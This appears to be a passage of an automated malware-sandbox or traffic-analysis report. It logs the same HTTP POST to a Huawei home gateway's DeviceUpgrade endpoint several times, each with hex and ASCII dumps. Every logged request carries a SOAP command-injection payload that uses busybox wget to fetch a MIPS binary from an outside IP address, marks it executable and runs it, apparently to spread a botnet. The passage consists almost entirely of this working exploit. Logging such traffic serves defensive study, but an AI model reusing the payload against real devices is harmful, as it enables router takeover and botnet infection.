3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 